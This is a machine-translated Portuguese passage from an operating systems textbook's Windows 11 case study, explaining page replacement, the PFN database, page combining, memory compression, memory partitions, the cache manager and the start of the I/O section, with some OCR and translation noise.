Auto-mapa: 1111 1111 1111 1111 11110110 1111 1011 01111101 10111110 11011111 0110 1000 


Bits canônicos 


0x150 


Mapa da página i Página i Página 
Nivea Diretório Diretório 
Ponteiros : 
0xc3 
vs Ja > 


PTE:111111111111111111110110 1011 1011 0110 1010 0000 1100 0011 E REONE 
Virtual Rr de «Mia dr A 


Endereço:0000 0000 0000 0000 0111 0110 1101 0100 0001 1000 0111 1100 0101 0000 0000 0000 


Figura 11-35. As entradas de automapeamento do Windows são usadas para mapear as 
páginas físicas da hierarquia da tabela de páginas em endereços virtuais do kernel. Isto torna 
a conversão entre um endereço virtual e seu endereço PTE muito fácil. 


O algoritmo de substituição de página 


Quando o número de páginas de memória física livres começa a diminuir, o gerenciador de memória 
começa a trabalhar para disponibilizar mais páginas físicas, removendo-as dos processos de modo de 
usuário, bem como do processo do sistema, que representa o uso de páginas no modo kernel. O objetivo 
é ter as páginas virtuais mais importantes presentes na memória e as demais no disco. O truque está em 
determinar o que significa importante . 

No Windows, isso é respondido fazendo uso intenso do conceito de conjunto de trabalho. 

Cada processo (não cada thread) possui um conjunto de trabalho. Este conjunto consiste nas páginas 
ped-in do mapa que estão na memória e, portanto, podem ser referenciadas sem falha de página. 

O tamanho e a composição do conjunto de trabalho flutuam de maneiras imprevisíveis à medida que os 
threads do processo são executados, é claro. 
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Os conjuntos de trabalho só entram em ação quando a memória física disponível está ficando 
baixa no sistema. Caso contrário, os processos poderão consumir memória conforme desejarem, muitas 
vezes excedendo em muito o máximo do conjunto de trabalho. Mas quando o sistema fica sob pressão 
de memória, o gerenciador de memória começa a comprimir os processos de volta aos seus conjuntos 
de trabalho, começando com os processos que estão acima do máximo. Existem três níveis de atividade 
do gerenciador do conjunto de trabalho, todos periódicos com base em um cronômetro. Nova atividade 
é adicionada em cada nível: 


1. Muita memória disponível: Digitalize as páginas redefinindo os bits de acesso e usando 
seus valores para representar a idade de cada página. Mantenha uma estimativa das 
páginas não utilizadas em cada conjunto de trabalho. 


2. Memória ficando apertada: Para qualquer processo com uma proporção significativa de 
páginas não utilizadas, pare de adicionar páginas ao conjunto de trabalho e comece a 
substituir as páginas mais antigas sempre que uma nova página for necessária. As 
páginas substituídas vão para a lista de espera ou modificada. 


3. A memória está apertada: corte (ou seja, reduza) os conjuntos de trabalho removendo o 


páginas mais antigas. 


O gerenciador do conjunto de trabalho é executado a cada segundo, chamado a partir do 
encadeamento do gerenciador do conjunto de equilíbrio . O gerenciador do conjunto de trabalho 
limita a quantidade de trabalho que realiza para não sobrecarregar o sistema. Ele também monitora a 
gravação de páginas na lista modificada no disco para garantir que a lista não cresça muito, ativando o 
thread do iter PageWr Modificado conforme necessário. 


Gerenciamento de memória física 


Acima mencionamos três listas diferentes de páginas físicas, a lista gratuita, a lista de espera e a 
lista modificada. Existe uma quarta lista que contém páginas gratuitas que foram zeradas. O sistema 
frequentemente precisa de páginas que contenham apenas zeros. 

Quando novas páginas são dadas aos processos, ou a página parcial final no final de um arquivo é lida, 
uma página zero é necessária. É demorado preencher uma página com zeros sob demanda, por isso é 
melhor criar zero páginas em segundo plano usando um thread de baixa prioridade. Há também uma 
quinta lista usada para conter páginas que foram detectadas como tendo erros de hardware (isto é, 
através da detecção de erros de hardware). 

Todas as páginas do sistema são gerenciadas usando uma estrutura de dados chamada banco de 
dados PFN (banco de dados Page Frame Number), conforme mostrado na Figura 11.36. O banco de 
dados PFN é uma tabela indexada pelo número do quadro da página física onde cada entrada representa 
o estado da página física correspondente, usando diferentes formatos para diferentes tipos de página 
(por exemplo, compartilhável versus privada). Para páginas que estão em uso, a entrada PFN contém 
informações sobre quantas referências existem à página e quantas entradas da tabela de páginas fazem 
referência a ela, de modo que o sistema possa rastrear quando a página não estiver mais em uso. Há 
também um ponteiro para o PTE que faz referência à página física. Para páginas privadas, este é o 
endereço do PTE do hardware, mas para páginas compartilháveis 
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páginas, é o endereço do protótipo PTE. Para poder editar o PTE quando estiver em um 
espaço de endereço de processo diferente, a entrada PFN também contém o índice de quadro de página 
da página que contém o PTE. 


Page-frame number database 
Page tables 


State Cnt Pri Other PT Next 


List headers 


ree 


| 


Figura 11-36. Alguns dos campos no banco de dados de quadros de página de uma página válida. 


Além disso, a entrada PFN contém links para frente e para trás para o 
listas de páginas mencionadas acima e vários sinalizadores, como leitura em andamento, gravação em 
progresso, e assim por diante. Para economizar espaço, as listas são vinculadas com campos referentes 
para o próximo elemento por seu índice dentro da tabela, em vez de ponteiros. A mesa 
entradas para as páginas físicas também são usadas para resumir os bits sujos encontrados no 
várias entradas da tabela de páginas que apontam para a página física (ou seja, devido ao compartilhamento 
Páginas). Há também informações usadas para representar diferenças nas páginas de memória em 
sistemas de servidores maiores que possuem memória mais rápida em alguns processadores do que 
de outros, nomeadamente máquinas NUMA. 

Um importante campo de entrada da PFN é a prioridade. O gerenciador de memória mantém 
prioridade de página para cada página física. As prioridades da página variam de 0 a 7 e refletem 
quão “importante” é uma página ou qual a probabilidade de ela ser acessada novamente. O gerenciador de memória garante 
que as páginas de maior prioridade tenham maior probabilidade de permanecer na memória em vez de permanecerem na memória. 
do que ser paginado e reutilizado. A política de corte do conjunto de trabalho tem prioridade na página 
em consideração, cortando páginas de prioridade mais baixa antes das de prioridade mais alta, mesmo que 
eles são acessados mais recentemente. Embora geralmente falemos sobre o modo de espera 
lista como se fosse uma lista única, na verdade é composta por oito listas, uma para cada prioridade. 
Quando uma página é inserida na lista de espera, ela é vinculada à sublista apropriada com base na sua 
prioridade. Quando o gerenciador de memória está redirecionando páginas do 
lista de espera, isso começa com as sublistas de prioridade mais baixa. Dessa forma, as páginas de alta 
prioridade têm maior probabilidade de evitar serem reaproveitadas. 
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As páginas são movidas entre os conjuntos de trabalho e as diversas listas com base nas ações 
executadas pelos próprios processos, bem como pelo gerenciador do conjunto de trabalho e outros 
threads do sistema. Vamos examinar as transições. Quando o gerenciador do conjunto de trabalho 
remove páginas de um conjunto de trabalho, ou quando um processo remove o mapeamento de um 
arquivo de seu espaço de endereço, as páginas removidas vão para o final da lista de espera ou de 
modificados, dependendo de sua limpeza. Essa transição é mostrada como (1) na Figura 11.37. 


Zero page needed (8) 


Page referenced (6) 


Working 


Sets Soft page fault (2) 


Zeroed 
Modified gg 
page 
writer 


(4) (7) 


Bad memory 


Page evicted from all working sets (1) Process exit (3) 
page 
list 


Figura 11-37. As diversas listas de páginas e as transições entre elas. 


As páginas em ambas as listas ainda são páginas ativas, portanto, se ocorrer uma falha de página e 
uma dessas páginas for necessária, ela será removida da lista e colocada de volta no conjunto de trabalho 
sem qualquer E/S de disco (2). Quando um processo é encerrado, suas páginas privadas não estão mais 
ativas, então elas passam para a lista livre, independentemente de estarem no conjunto de trabalho ou 
nas listas modificadas ou de espera (3). Qualquer espaço no arquivo de paginação usado pelo processo 
também é liberado. 

Outras transições são causadas por outros threads do sistema. A cada 4 segundos, o thread do 
gerenciador do conjunto de equilíbrio é executado e procura por processos cujos threads tenham estado 
inativos por um determinado número de segundos. Se encontrar algum desses processos, suas pilhas de 
kernel são liberadas da memória física e suas páginas são movidas para as listas de espera ou 
modificadas, também mostradas como (1). 

Dois outros threads do sistema, o escritor de páginas mapeadas e o escritor de páginas 
modificado, são ativados periodicamente para verificar se há páginas limpas suficientes. Caso contrário, 
eles pegam as páginas do topo da lista modificada, gravam-nas de volta no disco e depois as movem para 
a lista de espera (4). O primeiro lida com gravações em arquivos mapeados e o último lida com gravações 
em arquivos de paginação. O resultado dessas gravações é transformar páginas modificadas (sujas) em 
páginas de espera (limpas). 

A razão para ter dois threads é que um arquivo mapeado pode ter que crescer como resultado da 
gravação, e seu crescimento requer acesso a estruturas de dados no disco para alocar um bloco de disco 
livre. Se não houver espaço na memória para trazê-los quando um 
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página tiver que ser escrita, poderá ocorrer um impasse. O outro thread pode resolver o problema gravando 
páginas em um arquivo de paginação. 

As outras transições na Figura 11.37 são as seguintes. Se um processo executa uma ação para encerrar o 
tempo de vida de um grupo de páginas, por exemplo, decomprometendo páginas privadas ou fechando o último 
identificador em uma seção apoiada por arquivo de paginação ou excluindo um arquivo, as páginas associadas 
tornam-se livres (5). Quando uma falha de página requer um quadro de página para conter a página prestes a ser 
lida, o quadro de página é retirado da lista livre (6), se possível. 

Não importa que a página ainda contenha informações confidenciais, pois ela está prestes a ser totalmente 
substituída. 

A situação é diferente durante falhas de demanda zero, por exemplo, quando uma pilha cresce ou quando 
um processo sofre uma falha de página em uma página privada recém-confirmada. Nesse caso, é necessário um 
quadro de página vazio e as regras de segurança exigem que a página contenha apenas zeros. Por esta razão, 
outro thread do sistema kernel, o thread ZeroPage, é executado na prioridade mais baixa (veja a Figura 11.26), 
apagando as páginas que estão na lista livre e colocando-as na lista de páginas zeradas (7). Sempre que a CPU 
estiver ociosa e houver páginas livres, elas também poderão ser zeradas, pois uma página zerada é potencialmente 
mais útil do que uma página livre e não custa nada zerar a página quando a CPU estiver ociosa. Em grandes 
servidores com terabytes de memória distribuídos em vários soquetes de processador, pode levar muito tempo 
para zerar toda essa memória. Embora zerar a memória possa ser considerado uma atividade em segundo plano, 
quando um provedor de nuvem precisa iniciar uma nova VM e fornecer a ela terabytes de memória, zerar páginas 
pode facilmente ser o gargalo. Por esse motivo, o thread ZeroPage é, na verdade, composto de vários threads 


atribuídos a cada processador e gerenciados cuidadosamente para maximizar o rendimento. 


A existência de todas estas listas leva a algumas escolhas políticas subtis. Por exemplo, suponha que uma 
página precise ser trazida do disco e a lista livre esteja vazia. 

O sistema agora é forçado a escolher entre pegar uma página limpa da lista de espera (que de outra forma poderia 
ter sofrido falha posteriormente) ou uma página vazia da lista de páginas zeradas (jogando fora o trabalho realizado 
para zerá-la). Qual é melhor? 

O gerenciador de memória precisa decidir com que agressividade as threads do sistema devem mover as 
páginas da lista modificada para a lista de espera. Ter páginas limpas por perto é melhor do que ter páginas sujas 
por perto (já que páginas limpas podem ser reutilizadas instantaneamente), mas uma política de limpeza agressiva 
significa mais E/S de disco e há alguma chance de que uma página recém-limpa possa ser devolvida a um 
conjunto de trabalho e a sujeira caiu novamente de qualquer maneira. Em geral, o Windows resolve esses tipos 
de compensações por meio de algoritmos, heurísticas, suposições, precedentes históricos, regras práticas e 
configurações de parâmetros controladas pelo administrador. 


Combinação de páginas 


Uma das otimizações interessantes que o gerenciador de memória realiza para otimizar o uso da memória 
do sistema é chamada de combinação de páginas. Os sistemas UNIX também fazem isso, mas chamam isso de 
“desduplicação”, conforme discutido no Cap. 3. A combinação de páginas é o ato de instanciar páginas idênticas 
na memória e liberar as redundantes. 
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Periodicamente, o gerenciador de memória verifica as páginas privadas do processo e identifica páginas idênticas, 
calculando hashes para selecionar candidatos e, em seguida, realizando uma comparação byte por byte após 
bloquear qualquer modificação nas páginas candidatas. Uma vez encontradas páginas idênticas, essas páginas 
privadas são convertidas em páginas compartilháveis de forma transparente para o processo. Cada PTE é marcado 
como copy-on-write de modo que se algum dos 
os processos de compartilhamento gravam em uma página combinada, eles obtêm sua própria cópia. 

Na prática, a combinação de páginas resulta em economias de memória bastante significativas 
porque muitos processos carregam as mesmas DLLs do sistema nos mesmos endereços que 
resultam em muitas páginas idênticas devido às páginas da tabela de endereços de importação copiadas por escrito, 
seções de dados graváveis e até mesmo alocações de heap com conteúdos idênticos. Curiosamente, a página 
combinada mais comum é inteiramente composta por zeros, indicando 
que muito código aloca e zera a memória, mas não grava nela depois. 

Embora a combinação de páginas pareça uma otimização amplamente aplicável, ela tem 
várias implicações de segurança que devem ser consideradas. Mesmo que a combinação de páginas aconteça 
sem envolvimento do aplicativo e fique oculta dos aplicativos - por 
por exemplo, quando eles chamam APIs Win32 para consultar se um determinado endereço virtual 
intervalo é privado ou compartilhável — é possível para um invasor determinar se um 
página virtual é combinada com outras cronometrando quanto tempo leva para escrever no 
página (e outros truques inteligentes). Isso pode permitir que o invasor infira o conteúdo das páginas 
noutros processos, potencialmente mais privilegiados, que conduzem à divulgação de informação. 
Por esse motivo, o Windows não combina páginas em diferentes segurança 


domínios, exceto para conteúdos de páginas "bem conhecidos”, como todos os zeros. 
11.5.4 Compressão de Memória 


Outra otimização significativa de desempenho no gerenciamento de memória do Windows é a compactação 
de memória. É um recurso ativado por padrão em sistemas clientes, mas desativado por padrão em sistemas 
servidores. A compactação de memória visa caber mais 
dados na memória física, compactando páginas atualmente não utilizadas, de modo que 
ocupar menos espaço. Como resultado, reduz falhas de página graves e as substitui por 
falhas leves envolvendo uma etapa de descompressão. Por fim, ele também reduz o volume de gravações de 
arquivos de paginação, já que todos os dados gravados no arquivo de paginação agora são compactados. A 
compactação de memória é implementada em um componente executivo chamado gerenciador de 
armazenamento , que se integra intimamente ao gerenciador de memória e expõe a ele um sistema simples. 
interface de valor-chave para adicionar, recuperar e remover páginas. 

Vamos acompanhar a jornada de uma página privada em um conjunto de trabalho de processo à medida que avança 
através da tubulação de compressão, ilustrada na Figura 11-38. Quando a memória 
Se o gerente decidir cortar a página do conjunto de trabalho com base em suas políticas normais, a página privada 
terminará na lista modificada. Em algum momento, a memória 
gerente decide, novamente com base nas políticas usuais, reunir páginas do arquivo modificado 
list para gravar no arquivo de paginação. 

Como nossa página não está compactada, o gerenciador de memória chama a rotina SmPageWr ite do 


gerenciador de armazenamento para adicionar a página a um armazenamento. O gerente da loja escolhe 
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Figura 11-38. Transições de páginas com compactação de memória (listas livres/zero e arquivos 
mapeados omitidos para maior clareza). 


um armazenamento apropriado (mais sobre isso mais tarde), compacta a página nele e retorna ao 
gerenciador de memória. Como o conteúdo da página foi compactado com segurança em um 
armazenamento, o gerenciador de memória define a prioridade de sua página para a mais baixa (zero) e 
a insere na lista de espera. Poderia ter liberado a página, mas armazená-la em cache com baixa 
prioridade geralmente é uma opção melhor, pois evita a descompactação caso a página sofra uma falha 
leve na lista de espera. Suponhamos que a página foi reaproveitada da sublista de espera com prioridade 
0 e agora o processo decide gravar na página. Esse acesso resultará em uma falha de página e o 
gerenciador de memória determinará que a página será salva no gerenciador de armazenamento (em 
vez do arquivo de paginação), portanto, ele alocará uma nova página física e chamará SmPageRead 
para recuperar o conteúdo da página na nova página física . O gerente da loja encaminhará a solicitação 
para a loja apropriada, que encontrará e descompactará os dados na página de destino. 


Leitores astutos podem notar que o gerente da loja se comporta quase exatamente como um arquivo 
de paginação normal, embora compactado. Na verdade, o gerenciador de memória trata o gerenciador 
de armazenamento como outro arquivo de paginação. Durante a inicialização do sistema, se a 
compactação de memória estiver habilitada, o gerenciador de memória cria um arquivo de paginação 
virtual para representar o gerenciador de armazenamento. O tamanho do arquivo de paginação virtual 
é amplamente arbitrário, mas limita quantas páginas podem ser salvas no gerenciador de loja de uma 
vez, portanto, um tamanho apropriado com base no limite de commit do sistema é escolhido. Para a 
maioria dos efeitos, o arquivo de paginação virtual é um arquivo de paginação real: ele usa um dos 16 
slots de arquivo de paginação e possui as mesmas estruturas de dados de bitmap subjacentes para 
gerenciar o espaço disponível. Porém, ele não possui um arquivo de apoio e, em vez disso, utiliza a 
interface do gerenciador de armazenamento SmPageRead e SmPageWr ite para realizar E/S. Assim, 
durante a escrita da página modificada, um deslocamento do arquivo de paginação virtual é alocado para 
a página descompactada e o deslocamento do arquivo de paginação combinado com o número do 
arquivo de paginação é usado como a chave para identificar a página ao entregá-la ao gerente da loja. Após a página ser compacta 
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eo PTE associado à página é atualizado com o índice e deslocamento do arquivo de paginação exatamente 
como é feito para uma gravação normal de arquivo de paginação. Quando as páginas no arquivo de paginação 
virtual são modificadas ou liberadas e o espaço do arquivo de paginação correspondente é marcado como 
livre, um thread do sistema chamado thread de despejo de loja é notificado para despejar as chaves 
correspondentes do gerenciador de loja via SmPageEvict. Uma diferença entre os arquivos de paginação 
regulares e o arquivo de paginação virtual do gerenciador de loja é que, embora as páginas limpas com falha 
nos conjuntos de trabalho não sejam removidas dos arquivos de paginação regulares, elas são despejadas do 
gerenciador de loja para evitar manter a cópia descompactada e compactada da página na memória. 


Conforme indicado na Figura 11.38, o gerente da loja pode gerenciar diversas lojas. Um armazenamento 
do sistema é criado no momento da inicialização como armazenamento padrão para páginas modificadas. 
Armazenamentos adicionais por processo também podem ser criados para processos individuais. Na prática, 
isso é feito para aplicativos UWP. O gerente da loja escolhe a loja apropriada para uma página modificada 
recebida com base no processo de propriedade. 

Quando o gerenciador de armazenamento é inicializado no momento da inicialização, ele cria o processo 
do sistema MemCompression, que fornece o espaço de endereço no modo de usuário para que todos os 
armazenamentos aloquem sua memória de apoio na qual as páginas recebidas são compactadas. Este 
armazenamento de apoio é uma memória paginável privada regular, alocada com uma variante do Vir tu 
alAlloc. Como tal, o gerenciador de memória pode optar por cortar essas páginas do conjunto de trabalho do 
processo MemCompression ou um armazenamento pode decidir removê-las explicitamente. Uma vez 
removidas, essas páginas vão para a lista modificada normalmente, mas como são provenientes do processo 
MemCompression e, portanto, já estão compactadas, o gerenciador de memória as grava diretamente no 
arquivo de paginação. É por isso que, quando a compactação de memória está habilitada, todas as gravações 
no arquivo de paginação contêm dados compactados do processo MemCompression. 


Mencionamos acima como os aplicativos UWP obtêm seus próprios armazenamentos em vez de usar o 
armazenamento do sistema. Isso é feito para otimizar a operação in-swap do conjunto de trabalho que 
descrevemos anteriormente. Quando um armazenamento por processo está presente, a troca de saída 
prossegue normalmente no tempo de suspensão do aplicativo UWP, exceto que nenhuma reserva de arquivo 
de paginação é feita. Isso ocorre porque as páginas irão para o arquivo de paginação virtual do gerenciador 
de loja e a sequencialidade não é importante, uma vez que os deslocamentos alocados são usados apenas 
para construir chaves para associar às páginas. Posteriormente, quando o conjunto de trabalho do processo 
UWP for esvaziado devido à pressão da memória, todas as páginas serão compactadas no armazenamento por processo. 

Neste ponto, as páginas compactadas do armazenamento por processo são trocadas, reservando espaço 
sequencial no arquivo de troca. Se a pressão da memória continuar, essas páginas compactadas poderão ser 
explicitamente esvaziadas ou cortadas do conjunto de trabalho do processo MemCompression, serão 
gravadas no arquivo de paginação e permanecerão armazenadas em cache na lista de espera ou sairão da 
memória. Quando o aplicativo UWP está prestes a ser retomado, durante a troca do conjunto de trabalho, o 
sistema coreografa cuidadosamente as operações de leitura e descompactação do disco para maximizar o 
paralelismo e a eficiência. Primeiro, um armazenamento em troca é iniciado para trazer as páginas 
compactadas pertencentes ao armazenamento para o conjunto de trabalho do processo MemCompression a 
partir do arquivo de troca usando E/Ss grandes e sequenciais. Claro, se as páginas compactadas nunca 


saírem da memória (o que é muito provável), 


Machine Translated by Google 


976 ESTUDO DE CASO 2: WINDOWS 11 INDIVÍDUO. 11 


nenhuma E/S real precisa ser emitida. Paralelamente, o conjunto de trabalho in-swap para a UWP 
processo é iniciado, que usa vários threads para descompactar páginas do 

armazenamento por processo. A ordem precisa das páginas para essas duas operações garante 
que progridam paralelamente e sem atrasos desnecessários para reconstruir o 


O trabalho do processo UWP é definido rapidamente. 
11.5.5 Partições de Memória 


Uma partição de memória é uma instanciação do gerenciador de memória com seu próprio 
fatia isolada de RAM para gerenciar. Sendo objetos do kernel, eles suportam nomenclatura e 
segurança. Existem APIs NT para criá-los e gerenciá-los, bem como alocar 
memória deles usando identificadores de partição. A memória pode ser adicionada a quente em uma partição 
ou movida entre partições. No momento da inicialização, o sistema cria o arquivo inicial 
partição de memória chamada partição do sistema que possui toda a memória no 
máquina e abriga a instância padrão de gerenciamento de memória. A partição do sistema é realmente nomeada 


e pode ser vista no namespace do gerenciador de objetos em IKer nelObjectsiMemoryPartitiono. 


As partições de memória são direcionadas principalmente para dois cenários: isolamento de memória e 
isolamento da carga de trabalho. O isolamento de memória ocorre quando a memória precisa ser reservada para 
alocação posterior. Para tais cenários, uma partição de memória pode ser criada e a memória apropriada pode 
ser adicionada a ela (por exemplo, uma combinação de páginas de 4 KB/2 MB/1 GB de 
selecione nós NUMA). Posteriormente, as páginas podem ser alocadas da partição usando 
APIs de alocação de memória física que possuem variantes que aceitam partição de memória 
alças ou ponteiros de objetos. Os servidores Azure que hospedam VMs de clientes utilizam este 
abordagem para reservar memória para VMs e garantir que outras atividades no servidor 
não vai interferir nessa memória. É importante entender que isso é 
muito diferente de simplesmente pré-alocar essas páginas porque o conjunto completo de interfaces de 
gerenciamento de memória para alocar, liberar e zerar eficientemente a memória é 
disponível na partição. 

O isolamento da carga de trabalho é necessário em situações em que diversas cargas de trabalho 
separadas precisam ser executadas simultaneamente sem interferir umas nas outras. Nesses cenários, isolar o 
uso da CPU das cargas de trabalho (por exemplo, vinculando as cargas de trabalho a diferentes núcleos de 
processador) não é suficiente. A memória é outro recurso que precisa de isolamento. Caso contrário, uma carga 
de trabalho pode facilmente interferir em outras, reaproveitando todas 
páginas na lista de espera (fazendo com que outros cometam falhas mais graves) ou sujando 
muita memória de arquivo de paginação e de arquivo (esgotando a memória disponível e causando 
novas alocações de memória para bloquear até que páginas sujas sejam escritas) ou fragmentando a memória 
física e desacelerando alocações de páginas grandes ou enormes. 

As partições de memória podem fornecer o isolamento de carga de trabalho necessário. Ao associar uma 
partição de memória a um objeto de trabalho, é possível confinar uma árvore de processos a um 
partição de memória e use as interfaces de objeto de trabalho para definir a CPU e o disco desejados 
Restrições de E/S para isolamento completo de recursos. 

Sendo uma instância de gerenciamento de memória, uma partição de memória inclui o 
seguintes componentes principais, conforme mostrado na Fig. 11-39: 
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1. Listas de páginas: cada partição possui sua fatia isolada de memória física, 


portanto, ele mantém suas próprias listas de páginas livres, zero, em espera e modificadas. 


2. Processo do sistema: Cada partição cria seu próprio processo mínimo do sistema chamado 
“PartitionSystem”. Este processo fornece o espaço de endereço 


para mapear executáveis durante o carregamento, bem como hospedar threads do sistema por 
partição. 


3. Threads do sistema: threads fundamentais de gerenciamento de memória, como 
o thread de página zero, o thread do gerenciador do conjunto de trabalho, o modificado 
e os threads do escritor de páginas mapeadas são todos criados por partição. Além disso, outros 
componentes, como o gerenciador de cache, discutiremos em 
Seg. 11.6 também mantém threads por partição. Finalmente, cada partição 
tem seu pool de threads de sistema dedicado, de modo que os componentes do kernel possam 


enfileirar o trabalho sem se preocupar com a contenção de outras cargas de trabalho. 


4. Arquivos de paginação: Cada partição possui seu próprio conjunto de arquivos de paginação e associados 


thread do escritor de página modificado. Isto é fundamental para manter a sua própria 


comprometer-se. 


5. Rastreamento de recursos: Cada partição mantém seus próprios recursos de gerenciamento de 
memória, como commit e memória disponível, para conduzir políticas de forma independente, como 


corte de conjunto de trabalho e gravação de arquivo de paginação. 


Notavelmente, uma partição de memória não inclui seu próprio banco de dados PFN. Em vez disso, 
mantém uma estrutura de dados que descreve os intervalos de memória pelos quais é responsável e 
usa as entradas globais do banco de dados PFN do sistema. Além disso, a maioria dos threads e estruturas de dados 
são inicializados sob demanda. Por exemplo, o thread do escritor de página modificado não é 
necessário até que um arquivo de paginação seja criado na partição. 

Em suma, o gerenciamento de memória é um componente executivo altamente complexo com 
muitas estruturas de dados, algoritmos e heurísticas. Ele tenta ser em grande parte autoajustável, mas também existem 
muitos botões que os administradores podem ajustar para afetar o sistema. 
desempenho. Vários desses botões e os contadores associados podem ser visualizados 
usando ferramentas nos vários kits de ferramentas mencionados anteriormente. Provavelmente o mais importante 
coisa a lembrar aqui é que o gerenciamento de memória em sistemas reais é muito mais 


do que apenas um simples algoritmo de substituição de página, como relógio ou envelhecimento. 


11.6 CACHING NO WINDOWS 


O cache do Windows melhora o desempenho dos sistemas de arquivos, mantendo 
regiões de arquivos usadas recentemente e com frequência na memória. Em vez de armazenar em cache físico 


blocos endereçados do disco, o gerenciador de cache gerencia blocos endereçados virtualmente 
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Figura 11-39. Estruturas de dados de partição de memória. 


blocos, ou seja, regiões de arquivos. Esta abordagem enquadra-se bem na estrutura do 
sistema de arquivos NT nativo (NTFS), como veremos na Seç. 11.8. NTFS armazena todos os seus 
dados como arquivos, incluindo os metadados do sistema de arquivos. 

As regiões de arquivos em cache são chamadas de visualizações porque representam regiões de 
endereços virtuais do kernel que são mapeados em arquivos do sistema de arquivos. Assim, o real 
o gerenciamento da memória física no cache é fornecido pelo gerenciador de memória. A função do gerenciador de 
cache é gerenciar o uso de endereços virtuais do kernel para visualizações, combinar com o gerenciador de memória a 
fixação de páginas na memória física, 
e fornecer interfaces para os sistemas de arquivos. 

Os recursos do gerenciador de cache do Windows são compartilhados entre todos os sistemas de arquivos. 
Como o cache é virtualmente endereçado de acordo com arquivos individuais, o cache 
manager é facilmente capaz de realizar leitura antecipada por arquivo. Solicitações de acesso 
os dados armazenados em cache vêm de cada sistema de arquivos. O cache virtual é conveniente porque o 
os sistemas de arquivos não precisam primeiro traduzir os deslocamentos dos arquivos em números de blocos físicos 
antes de solicitar uma página de arquivo em cache. Em vez disso, a tradução acontece mais tarde, quando 
o gerenciador de memória chama o sistema de arquivos para acessar a página no disco. 

Além do gerenciamento do endereço virtual do kernel e da memória física 
recursos usados para armazenamento em cache, o gerenciador de cache também precisa se coordenar com os sistemas 
de arquivos em relação a questões como coerência de visualizações, liberação para disco e manutenção correta das 
marcas de fim de arquivo — principalmente à medida que os arquivos se expandem. Um dos aspectos mais difíceis de 
gerenciar um arquivo entre o sistema de arquivos, o gerenciador de cache e 
o gerenciador de memória é o deslocamento do último byte no arquivo, chamado Valid DataLength. Se um programa 


escreve além do final do arquivo, os blocos que foram 
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ignorados devem ser preenchidos com zeros e, por razões de segurança, é fundamental que o 
ValidDataLength registrado nos metadados do arquivo não permite acesso a não inicializados 
blocos, portanto, os blocos zero devem ser gravados no disco antes que os metadados sejam atualizados 
com o novo comprimento. Embora seja esperado que, se o sistema falhar, alguns dos 
blocos no arquivo podem não ter sido atualizados da memória, isso não é aceitável 
que alguns dos blocos podem conter dados anteriormente pertencentes a outros arquivos. 

Vamos agora examinar como funciona o gerenciador de cache. Quando um arquivo é referenciado, 
o gerenciador de cache mapeia um pedaço de 256 KB do espaço de endereço virtual do kernel para o 
arquivo. Se o arquivo for maior que 256 KB, apenas uma parte do arquivo será mapeada por vez. 
Se o gerenciador de cache ficar sem blocos de 256 KB de espaço de endereço virtual, ele deverá 
desmapear um arquivo antigo antes de mapear um novo. Depois que um arquivo é mapeado, o cache 
gerenciador pode satisfazer solicitações para seus blocos apenas copiando do kernel virtual 
espaço de endereço para o buffer do usuário. Se o bloco a ser copiado não estiver na memória física, ocorrerá 
uma falha de página e o gerenciador de memória irá satisfazer a falha no 
maneira habitual. O gerenciador de cache nem sabe se o bloco estava ou não na memória. A cópia sempre é 
bem-sucedida. 

O gerenciador de cache possui várias heurísticas para detectar padrões de acesso a arquivos. Para 
Por exemplo, quando detecta um padrão de acesso sequencial, ele começa a executar a leitura antecipada em 
nome da aplicação, de modo que os dados estejam prontos no momento em que a aplicação emite sua E/S. Isto 
é muito semelhante à pré-busca realizada pela memória 
gerenciador e usa as mesmas APIs subjacentes do gerenciador de memória. 

Outra importante operação em segundo plano que o gerenciador de cache executa é o write-behind. 
Quando dados sujos se acumulam no endereço virtual do gerenciador de cache 
espaço, ele começa a gravar proativamente os dados sujos no disco para minimizar a quantidade 
de dados perdidos se, por exemplo, houver falta de energia. Os aplicativos sempre podem usar o 


API FlushFileBuffers Win32 para liberar todos os dados sujos para o disco; write-behind é uma 


medida secundária. Outro benefício importante do write-behind é que o subjacente 
as páginas podem ser recuperadas mais rapidamente pelo gerenciador de memória se houver memória disponível 


começa a ficar baixo. 

O gerenciador de cache também funciona para páginas mapeadas na memória virtual 
e acessado com ponteiros em vez de ser copiado entre o kernel e o modo de usuário 
buffers. Quando um thread acessa um endereço virtual mapeado para um arquivo e uma falha de página 
ocorre, o gerenciador de memória pode, em muitos casos, ser capaz de satisfazer o acesso como um 
falha leve. Não precisa acessar o disco, pois descobre que a página já está 
na memória física porque é mapeado pelo gerenciador de cache. 


11.7 ENTRADA/SAÍDA NO WINDOWS 


Os objetivos do gerenciador de E/S do Windows são fornecer uma estrutura fundamentalmente extensa e 
flexível para lidar com eficiência com uma ampla variedade de dispositivos e serviços de E/S, suportar descoberta 
automática de dispositivos e instalação de drivers (plug 
e reprodução) e gerenciamento eficiente de energia para dispositivos e CPU - tudo usando um 
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estrutura fundamentalmente assíncrona que permite que a computação se sobreponha à E/S 
transferências. Existem centenas de milhares de dispositivos que funcionam com Windows. Para um grande 
número de dispositivos comuns, nem é necessário instalar um 

driver, porque já existe um driver fornecido com o sistema operacional Windows 

sistema. Mas mesmo assim, contando todas as revisões, há quase um milhão de 

binários de driver executados no Windows. Nas seções seguintes, examinaremos 


alguns dos problemas relacionados à E/S. 


11.7.1 Conceitos Fundamentais 


O gerenciador de E/S tem relações íntimas com o gerenciador plug-and-play. O 
A ideia básica por trás do plug and play é a de um barramento enumerável. Muitos barramentos, incluindo PC 
Card, PCI, PCle, AGP, USB, IEEE 1394, EIDE, SCSI e SATA, possuem 
foi projetado para que o gerenciador plug-and-play possa enviar uma solicitação para cada slot 
e peça ao dispositivo para se identificar. Tendo descoberto o que existe lá fora, o 
gerenciador plug-and-play aloca recursos de hardware, como níveis de interrupção, 
localiza os drivers apropriados e os carrega na memória. Como cada motorista é 
carregado, um objeto driver é criado para ele. E então, para cada dispositivo, pelo menos um objeto de 
dispositivo é alocado. Para alguns barramentos, como SCSI, a enumeração acontece apenas 
no momento da inicialização, mas para outros barramentos, como USB, isso pode acontecer a qualquer momento, exigindo 
estreita cooperação entre o gerenciador plug-and-play, os drivers de barramento (que realmente fazem a 
enumeração) e o gerenciador de E/S. 

No Windows, todos os sistemas de arquivos, filtros antivírus, gerenciadores de volume, rede 
pilhas de protocolos e até mesmo serviços de kernel que não possuem hardware associado são 
implementado usando drivers de E/S. A configuração do sistema deve ser definida para causar 
alguns desses drivers para carregar, porque não há nenhum dispositivo associado para enumerar 
no ônibus. Outros, como os sistemas de arquivos, são carregados por um código especial que detecta 
